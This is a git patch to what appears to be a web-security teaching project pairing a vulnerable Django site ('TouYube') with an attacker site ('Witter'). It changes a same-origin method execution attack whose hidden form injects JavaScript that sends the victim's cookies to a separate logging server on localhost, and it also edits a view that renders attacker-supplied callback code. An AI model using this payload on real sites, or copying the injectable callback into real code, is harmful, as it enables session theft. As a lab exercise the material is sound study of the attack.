From 0b961c75515836ee773c7b530acd033fee53d906 Mon Sep 17 00:00:00 2001
From: Faraphel <rc60650@hotmail.com>
Date: Wed, 15 May 2024 11:13:58 +0200
Subject: [PATCH] fixed Witter icon

---
 TouYube/apps/TouYube/views.py                 |  6 +++---
 TouYube/configuration/settings.py             |  2 +-
 Witter/apps/Witter/templates/Witter/some.html | 11 ++++++-----
 3 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/TouYube/apps/TouYube/views.py b/TouYube/apps/TouYube/views.py
index bf9d596..e5eec94 100644
--- a/TouYube/apps/TouYube/views.py
+++ b/TouYube/apps/TouYube/views.py
@@ -5,9 +5,9 @@ from django.contrib.auth.decorators import login_required
 from django.core.handlers.wsgi import WSGIRequest
 from django.http import HttpResponse, HttpResponseForbidden, HttpResponseBadRequest
 from django.shortcuts import render, redirect, get_object_or_404
+from django.views.decorators.csrf import csrf_protect
 
 from apps.TouYube import forms, models
-from configuration import settings
 
 
 def view_homepage(request: WSGIRequest) -> HttpResponse:
@@ -143,11 +143,11 @@ def view_attack_some(request: WSGIRequest) -> HttpResponse:
     """
 
     # check the method
-    if request.method != "GET":
+    if request.method != "POST":
         return HttpResponseBadRequest()
 
     # get the callback code
-    callback_js = request.GET["callback"]
+    callback_js = request.POST["callback"]
 
     return render(
         request,
diff --git a/TouYube/configuration/settings.py b/TouYube/configuration/settings.py
index 3a208e4..c416eb6 100644
--- a/TouYube/configuration/settings.py
+++ b/TouYube/configuration/settings.py
@@ -24,7 +24,7 @@ SECRET_KEY = 'django-insecure-87uz=bnd&m+$(!qfzs3$bum)!e6pw$8gaw_^cehmuyuft5q4!#
 
 # SECURITY WARNING: don't run with debug turned on in production!
 DEBUG = True
-ENABLE_CROSS_ORIGIN_SECURITY = False
+ENABLE_CROSS_ORIGIN_SECURITY = True  # Enable all the CORS, XFRAME, ... securities
 
 ALLOWED_HOSTS = []
 
diff --git a/Witter/apps/Witter/templates/Witter/some.html b/Witter/apps/Witter/templates/Witter/some.html
index b309f0f..45bb1ea 100644
--- a/Witter/apps/Witter/templates/Witter/some.html
+++ b/Witter/apps/Witter/templates/Witter/some.html
@@ -4,7 +4,7 @@
 {% block body %}
     <h1>SOME</h1>
 
-    <form id="attack-form" action="http://localhost:8080/callback/" method="GET">
+    <form id="attack-form" action="http://localhost:8080/callback/" method="POST">
         <input type="hidden" name="callback" value="
             {# once the victim is calling the callback, send his cookies to this URL #}
             fetch('http://localhost:8081/logs/', {
@@ -15,15 +15,16 @@
                 headers: {
                     'Content-type': 'application/json; charset=UTF-8'
                 }
+            }).then(data => {
+                {# redirect the user to the homepage #}
+                document.location.href='http://localhost:8080/';
             });
-            {# redirect the user to the homepage #}
-            document.location.href='http://localhost:8080/';
         ">
 
         <input type="submit" value="See my TouYube account with no security flaw 😊">
     </form>
-    
+
     <script>
-        
+
     </script>
 {% endblock %}